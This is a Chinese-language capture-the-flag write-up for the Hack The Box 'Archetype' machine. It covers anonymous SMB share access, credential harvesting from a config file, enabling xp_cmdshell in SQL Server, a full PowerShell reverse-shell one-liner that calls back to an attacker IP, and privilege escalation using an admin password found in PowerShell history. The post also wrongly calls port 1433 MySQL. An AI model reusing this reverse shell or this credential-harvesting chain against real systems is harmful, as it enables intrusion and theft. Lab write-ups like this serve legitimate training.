Hacker The Box 之 Archetype 8

哈哈哈哈,躺平了几天,继续更新。。。这篇非常非常详细,慢慢观看。。。

填空

第一题

问:主机上的数据库服务时TCP的哪个端口?
答案:1433.可以通过以下命令扫描得出结果

map -v -sV -sS  10.129.56.120

第二题

问:非管理员的共享的文件夹是什么?
答案:backups。 smbclient可以使用-N -L查看文件夹

 smbclient -N -L \\\\10.129.56.120
注意:其中以$结尾的文件夹,都是需要管理员权限的。

第三题

 问:smb共享文件夹中的文件上,可能的密码是什么?
答案:M3g4c0rp123

通过smbclient登录进backups文件夹后直接get后在本地打开即可。

  如果想进目录,读取文件的话是没用-L的

smbclient -N \\\\10.129.56.120\\backups 

 第四题

 问题:可以使用impacket中的哪个脚本去建立与SQL Server的连接?
答案:mssqlclient.py  既(impacket-mssql)

第五题

问:通过什么能够获取到数据库中执行shell?
答案:xp_cmdshell。这是注入中经常用到的。 

 第六题

问:可以通过什么脚本来搜索提升windows主机的权限?
答案:winPEAS。这是windows主机一个提权工具

github链接为:https://github.com/carlospolop/PEASS-ng

第七题

第八题

第九题

滤清思路

到这,我们整理一下思路,然后全面复盘。

首先是通过nmap扫描,发现存在1433端口(Mysql),

然后通过smbclient 获取backups账号下的共享文件prod.dtsConfig,

并从中获得MySQL的账号ARCHETYPE\sql_svc和密码M3g4c0rp123

接下来是通过kali中自带的impacket-mssqlclient连接上sqlserver数据库,并(用上MySQL的账号ARCHETYPE\sql_svc和密码M3g4c0rp123)

进入数据库中,查看有无sysadmin权限。

如果有就接着调用数据库的系统命令,获取xp_cmdshell

依次键入以下内容:

 EXEC sp_configure 'Show Advanced Options', 1;			\\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
 reconfigure;											\\确认上面的操作
 sp_configure;											\\查看当前sp_configure配置情况
 EXEC sp_configure 'xp_cmdshell', 1						\\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
 reconfigure;											\\确认上面的操作
 xp_cmdshell "whoami" 									\\在靶机上调用cmdshell执行whoami

当我们拥有部分的os-shell,测试发现ifconfig不能执行,但是dir是能执行的,因此要一个完整的shell。
先建立一个powershell的反向shell文件,并运行一个http服务和打开nc监听一下4443端口

然后在获取到的sql中执行,实现反shell连接

获取到了shell后,直接命令访问type C:\Users\sql_svc\Desktop\user.txt,能拿到用户的key

接着提升权限,在powershell的历史记录发现账号密码(net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!)

最后在重新impacket-psexec administrator@10.129.56.120进入系统,获得root.txt

完整步骤如下:

信息收集

首先是通过nmap扫描,发现存在1433端口(Mysql),

nmap -v -sV -sS  10.129.56.120

然后通过smbclient 获取backups账号下的共享文件prod.dtsConfig,

smbclient -N -L \\\\10.129.56.120\\   

smbclient -N \\\\10.129.56.120\\backups    //进入backups
smb: \> dir                                //查看目录
smb: \> get prod.dtsConfig                 //下载文件prod.dtsConfig

连接数据库

接下来是通过kali中自带的impacket-mssqlclient连接上sqlserver数据库,并(用上MySQL的账号ARCHETYPE\sql_svc和密码M3g4c0rp123)

impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.56.120

 进入数据库中,查看有无sysadmin权限。

SQL> select is_srvrolemember ('sysadmin')         //查看有无sysadmin权限。

(显示1就代表有)

如果有就接着调用数据库的系统命令,获取xp_cmdshell

SQL> enable_xp_cmdshell

然后依次键入以下内容:

 EXEC sp_configure 'Show Advanced Options', 1;			\\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
 reconfigure;											\\确认上面的操作
 sp_configure;											\\查看当前sp_configure配置情况
 EXEC sp_configure 'xp_cmdshell', 1						\\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
 reconfigure;											\\确认上面的操作
 xp_cmdshell "whoami" 									\\在靶机上调用cmdshell执行whoami

当我们拥有部分的os-shell,测试发现ifconfig不能执行,但是dir是能执行的,因此要一个完整的shell。

反弹shell

先建立一个powershell的反向shell文件a.ps1

┌──(root💀kali)-[~/桌面]
└─# vim a.ps1         
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.29",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

 并在此目录下运行一个http服务

python3 -m http.server 80

可以发现a.ps1在其中

和打开nc监听一下4443端口

nc -lvnp 4443

    -l 代表监听模式

    -v 代表输出详细报告

    -n 代表不执行DNS查询,如果使用的是域名就不能加入该参数

    -p 指定端口号

然后在获取到的sql中执行,实现反shell连接

此时http服务和nc都有反应

在nc里安回车键出现#代表shell连接成功

# type C:\Users\sql_svc\Desktop\user.txt

获取到了shell后,直接命令访问type C:\Users\sql_svc\Desktop\user.txt,能拿到用户的key

提权

# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

回显
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
获得root的账号密码

 接着提升权限,在powershell的历史记录发现账号密码(net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!)

最后在重新impacket-psexec administrator@10.129.56.120进入系统,获得root.txt

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

A4n9g7e2l

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值